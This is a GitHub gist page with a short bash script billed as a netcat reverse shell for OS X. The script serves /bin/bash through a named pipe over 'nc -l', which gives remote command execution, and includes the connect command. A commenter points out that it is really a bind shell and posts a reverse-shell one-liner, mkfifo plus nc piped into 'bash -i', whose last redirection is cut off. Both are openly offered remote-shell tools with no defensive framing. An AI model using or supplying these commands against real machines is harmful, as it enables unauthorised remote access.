Skip to content

Instantly share code, notes, and snippets.

@jacobsalmela
Created August 13, 2014 12:37
Show Gist options
  • Save jacobsalmela/10396211ec9c09e77d59 to your computer and use it in GitHub Desktop.
Save jacobsalmela/10396211ec9c09e77d59 to your computer and use it in GitHub Desktop.
(OS X) Reverse shell via netcat
#!/bin/bash
#----------AUTHOR------------
# Jacob Salmela
# 9 April 2013
#---------DESCRIPTION--------
# Serves up an unencrypted, reverse-shell when the -e option is unavailable
# Much less reliable (command lag), but useful in a pinch
#----------FUNCTIONS---------
function poorPersonsReverseShell()
{
# Create a named pipe (a "permanent pipe")
mkfifo /tmp/pipesh
# Assign /bin/bash to the named pipe and use netcat to listen for incoming connections
/bin/bash /tmp/pipesh | nc -l <port_number> > /tmp/pipesh
# To connect to the reverse-shell, use the same port number from above and run the command
#
# nc <server_ip> <port_number>
# Commands can be entered locally, but will run on the remote machine
# Often, there is lag and a command will not return STDOUT/ERR but it still seems to run
}
#----------------------------
#-----------SCRIPT-----------
#----------------------------
poorPersonsReverseShell
@ariary
Copy link

ariary commented Oct 12, 2023

It's a bindshell either ;)
revshell version:

  • On attacker machine (listener)
nc -l 127.0.0.1 8080
  • On target (connect to listener)
mkfifo myfifo2 &&nc 127.0.0.1 8080 < myfifo2 | /bin/bash -i > myfifo2 2>&

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment